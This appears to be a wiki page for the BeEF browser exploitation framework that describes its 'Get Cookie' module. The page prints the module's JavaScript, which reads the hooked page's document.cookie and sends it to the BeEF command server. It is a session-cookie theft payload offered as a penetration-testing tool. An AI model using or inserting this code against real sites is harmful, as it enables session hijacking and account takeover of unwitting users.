Skip to content

Module: Get Cookie

Jess Williams edited this page Dec 31, 2019 · 2 revisions

Summary

  • Objective: This module will retrieve the session cookie from the current page.
  • Date: ???
  • Authors: bcoles
  • Browsers: All
  • Code

Internal Working

This module just gather the cookies for this page using the document.cookie function :

beef.execute(function() {
    beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie);
});

Feedback

Clone this wiki locally